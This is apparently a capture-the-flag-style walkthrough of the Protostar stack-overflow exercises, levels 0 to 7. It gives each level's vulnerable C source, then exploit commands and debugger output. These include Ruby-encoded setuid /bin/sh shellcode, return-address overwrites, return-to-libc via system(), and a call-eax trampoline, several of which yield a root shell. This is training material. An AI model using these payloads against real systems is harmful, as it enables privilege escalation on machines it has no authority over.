Exploit-Exercises: Protostar (Stack Levels)
- Protostar Stack0
- Protostar Stack1
- Protostar Stack2
- Protostar Stack3
- Protostar Stack4
- Protostar Stack5
- Protostar Stack6
- Protostar Stack7
Image: Exploit-Exercises: Protostar (v2)
user@protostar:~$ wget https://raw.githubusercontent.com/73696e65/gdbinit/master/gdb_init.txt --no-check-certificate -O ~/.gdbinit -q
Protostar Stack0
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
user@protostar:/opt/protostar/bin$ ruby -e 'print "\xfa" * 64' | ./stack0
Try again?
user@protostar:/opt/protostar/bin$ ruby -e 'print "\xfa" * 64 + "\x01"' | ./stack0
you have changed the 'modified' variable
Protostar Stack1
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
user@protostar:/opt/protostar/bin$ ./stack1 $(ruby -e 'print "X" * 64')
Try again, you got 0x00000000
user@protostar:/opt/protostar/bin$ ./stack1 $(ruby -e 'print "X" * 64 + [0x41414141].pack("V") ')
Try again, you got 0x41414141
user@protostar:/opt/protostar/bin$ ./stack1 $(ruby -e 'print "X" * 64 + [0x61626364].pack("V") ')
you have correctly got the variable to the right value
Protostar Stack2
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
user@protostar:/opt/protostar/bin$ ./stack2
stack2: please set the GREENIE environment variable
user@protostar:/opt/protostar/bin$ GREENIE=$(ruby -e 'print "A" * 64 + [0x41414141].pack("V")') ./stack2
Try again, you got 0x41414141
user@protostar:/opt/protostar/bin$ GREENIE=$(ruby -e 'print "A" * 64 + [0x0d0a0d0a].pack("V")') ./stack2
you have correctly modified the variable
Protostar Stack3
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
We need to rewrite fp function address with the address of win().
user@protostar:/opt/protostar/bin$ ruby -e 'print "X" * 64 + [0x41414141].pack("V")' | ./stack3
calling function pointer, jumping to 0x41414141
Segmentation fault
user@protostar:/opt/protostar/bin$ nm ./stack3 | grep win
08048424 T win
user@protostar:/opt/protostar/bin$ ruby -e 'print "X" * 64 + [0x08048424].pack("V")' | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
Protostar Stack4
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
We use metasploit patterns (on Kali Linux) to determine the exact location of stored EIP:
# Window 1:
root@kali32:~# /usr/share/metasploit-framework/tools/pattern_create.rb 80
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
# Window 2:
user@protostar:/opt/protostar/bin$ gdb -q ./stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) r
Starting program: /opt/protostar/bin/stack4
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
# Window 1:
root@kali32:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 0x63413563
[*] Exact match at offset 76
# Window 2:
user@protostar:/opt/protostar/bin$ nm stack4 | grep win
080483f4 T win
user@protostar:/opt/protostar/bin$ ruby -e 'print "A" * 76 + [0x080483f4].pack("V")' | ./stack4
code flow successfully changed
Protostar Stack5
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
The idea is the same as in Stack4, but we need to store shellcode on stack, for example.
Stack is executable:
user@protostar:/opt/protostar/bin$ readelf -a ./stack4 | grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
To have the same address in bash and gdb, we use hellman’s fixenv tool.
user@protostar:~$ git clone https://github.com/hellman/fixenv
Cloning into fixenv...
remote: Counting objects: 20, done.
Unpacking objects: 100% (20/20), done.
remote: Total 20 (delta 0), reused 0 (delta 0), pack-reused 20
user@protostar:~$ cd fixenv/
user@protostar:~/fixenv$ ./r.sh gdb /opt/protostar/bin/stack5
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/user/fixenv/.launcher...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x50
0x080483cd <main+9>: lea eax,[esp+0x10]
0x080483d1 <main+13>: mov DWORD PTR [esp],eax
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) b *0x080483d4
Breakpoint 1 at 0x80483d4: file stack5/stack5.c, line 10.
(gdb) b *0x080483d9
Breakpoint 2 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /home/user/fixenv/.launcher
Breakpoint 1, 0x080483d4 in main (argc=1, argv=0xbffff914) at stack5/stack5.c:10
10 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) x /xw $esp
0xbffff810: 0xbffff820
(gdb) c
Continuing.
ABCDEFGH
Breakpoint 2, main (argc=1, argv=0xbffff914) at stack5/stack5.c:11
11 in stack5/stack5.c
(gdb) x /s 0xbffff820
0xbffff820: "ABCDEFGH"
The address 0xbffff820
represents the buffer[] address, we store our
shellcode here and jump to this address. Also we know, that return address is
overwritten after position 76, from Protostar Stack4. We created our shellcode
here.
user@protostar:~/fixenv$ ruby -e 'sc="\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; print sc + "\x90" * (76 - sc.length) + [0xbffff820].pack("V") ' | ./r.sh /opt/protostar/bin/stack5
user@protostar:~/fixenv$
The shell is executed, however it receives EOF. For this purposes, we can keep it alive with cat
command:
user@protostar:~/fixenv$ (ruby -e 'sc="\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; print sc + "\x90" * (76 - sc.length) + [0xbffff820].pack("V") '; cat -) | ./r.sh /opt/protostar/bin/stack5
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)
Sometimes a more convenient solution could be storing shellcode in environment:
user@protostar:~/fixenv$ export EGG=$(ruby -e 'print "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
user@protostar:~/fixenv$ ./r.sh getvar EGG
0xbfffff60 \x60\xff\xff\xbf (EGG)
user@protostar:~/fixenv$ ruby -e 'print "A" * 76 + [0xbfffff60].pack("V")' | ./r.sh /opt/protostar/bin/stack5
user@protostar:~/fixenv$
user@protostar:~/fixenv$ (ruby -e 'print "A" * 76 + [0xbfffff60].pack("V")' ; cat) | ./r.sh /opt/protostar/bin/stack5
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)
We do not need to use r.sh
again - the EGG address could be easily calculated (albeit it’s different, because fixenv
clears our environment):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if (argc < 3) {
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
} else {
/* Get environment variable location */
ptr = getenv(argv[1]);
/* Adjust for program name */
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
}
}
user@protostar:~/fixenv$ gcc getenv.c -o getenv
user@protostar:~/fixenv$ ./getenv EGG /opt/protostar/bin/stack5
EGG will be at 0xbffff9b0
user@protostar:~/fixenv$ (ruby -e 'print "A" * 76 + [0xbffff9b0].pack("V")' ; cat) | /opt/protostar/bin/stack5
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)
Protostar Stack6
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
Using pattern_create.rb
/ pattern_offset.rb
we found out that the stored return address is at offset 80.
user@protostar:~$ gdb -q /opt/protostar/bin/stack6
...
gdb> b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
gdb> r
...
Breakpoint 1, main (argc=0x1, argv=0xbffff804) at stack6/stack6.c:27
27 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
gdb> p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
There is a great return-to-libc writeup to explain the stack structure.
Address of system()
is always the same, 0xb7ecffb0
, now we need to find the
/bin/sh
string on the stack.
user@protostar:~/fixenv$ ./r.sh gdb /opt/protostar/bin/stack6
...
(gdb) set disassembly-flavor intel
(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) r
Starting program: /home/user/fixenv/.launcher
(gdb) x /10s $esp
...
0xbfffff0e: "6:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:"
0xbfffff4e: "SHELL=/bin/sh"
(gdb) x /s 0xbfffff4e+6
0xbfffff54: "/bin/sh"
user@protostar:~/fixenv$ (ruby -e 'print "A"*80 + [0xb7ecffb0].pack("V") + "FAKE" + [0xbfffff54].pack("V")'; cat -) | ./r.sh /opt/protostar/bin/stack6
input path please:
got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???AAAAAAAAAAAA???FAKET???
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Without setreuid()
call we have only euid=0
, so we prepare this shell wrapper:
#include <stdio.h>
int main(int argc, char **argv)
{
setreuid(geteuid(), geteuid());
execv("/bin/sh", NULL);
}
user@protostar:~/fixenv$ (ruby -e 'print "A"*80 + [0xb7ecffb0].pack("V") + "FAKE" + [0xbfffff54].pack("V")'; cat -) | ./r.sh /opt/protostar/bin/stack6
input path please:
got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???AAAAAAAAAAAA???FAKET???
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
/tmp/escalate
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)
Protostar Stack7
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
user@protostar:~$ gdb -q /opt/protostar/bin/stack7
Really redefine built-in command "frame"? (y or n) [answered Y; input not from terminal]
Really redefine built-in command "thread"? (y or n) [answered Y; input not from terminal]
Really redefine built-in command "start"? (y or n) [answered Y; input not from terminal]
Reading symbols from /opt/protostar/bin/stack7...done.
gdb> r
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9
got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:0804A008 ebx:B7FD7FF4 ecx:00000000 edx:00000001 eflags:00210202
esi:00000000 edi:00000000 esp:BFFFF750 ebp:63413563 eip:37634136
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t s z a p c
[007B:BFFFF750]---------------------------------------------------------[stack]
BFFFF780 : 01 00 00 00 C0 F7 FF BF - 26 06 FF B7 B0 FA FF B7 ........&.......
BFFFF770 : 38 41 64 39 00 FF FF FF - F4 EF FF B7 BC 82 04 08 8Ad9............
BFFFF760 : 64 33 41 64 34 41 64 35 - 41 64 36 41 64 37 41 64 d3Ad4Ad5Ad6Ad7Ad
BFFFF750 : 41 63 38 41 63 39 41 64 - 30 41 64 31 41 64 32 41 Ac8Ac9Ad0Ad1Ad2A
[007B:0804A008]---------------------------------------------------------[ data]
0804A008 : 41 61 30 41 61 31 41 61 - 32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
0804A018 : 61 35 41 61 36 41 61 37 - 41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
[0073:37634136]---------------------------------------------------------[ code]
0x37634136: Error while running hook_stop:
Cannot access memory at address 0x37634136
0x37634136 in ?? ()
gdb> i r
eax 0x804a008 0x804a008
ecx 0x0 0x0
edx 0x1 0x1
ebx 0xb7fd7ff4 0xb7fd7ff4
esp 0xbffff750 0xbffff750
ebp 0x63413563 0x63413563
esi 0x0 0x0
edi 0x0 0x0
eip 0x37634136 0x37634136
eflags 0x210202 [ IF RF ID ]
cs 0x73 0x73
ss 0x7b 0x7b
ds 0x7b 0x7b
es 0x7b 0x7b
fs 0x0 0x0
gs 0x33 0x33
gdb> x /s $eax
0x804a008: "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9"
The offset for return address is again 80 (0x37634136 in pattern_offset
) and
EAX
with stored 0x804a008
value points to the beginning of our buffer,
where we still can jump.
This is because strdup()
allocates memory on heap and returns this address:
man 3 strdup
The strdup() function returns a pointer to a new string which is a duplicate
of the string s. Memory for the new string is obtained with malloc(3), and
can be freed with free(3).
user@protostar:~$ (ruby -e 'sc="\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; print sc + "X" * (80 - sc.length) + [0x0804a008].pack("V")'; cat -) | /opt/protostar/bin/stack7
input path please:
got path j1X̀?É?jFX̀1?1?Phn/shh//bi??PS??
̀XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX?
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)
Instead of pointing to the allocated buffer address, it is more portable to
find call eax
instruction addresses in code and use one of them.
user@protostar:~$ objdump -M intel -D /opt/protostar/bin/stack7 | grep 'call.*eax$'
80484bf: ff d0 call eax
80485eb: ff d0 call eax
user@protostar:~$ (ruby -e 'sc="\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; print sc + "X" * (80 - sc.length) + [0x080484bf].pack("V")'; cat -) | /opt/protostar/bin/stack7
input path please:
got path j1X̀?É?jFX̀1?1?Phn/shh//bi??PS??
̀XXXXXXXXXXXXXXXXXXXXXXXXX?XXXXXXXXXXXX??
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)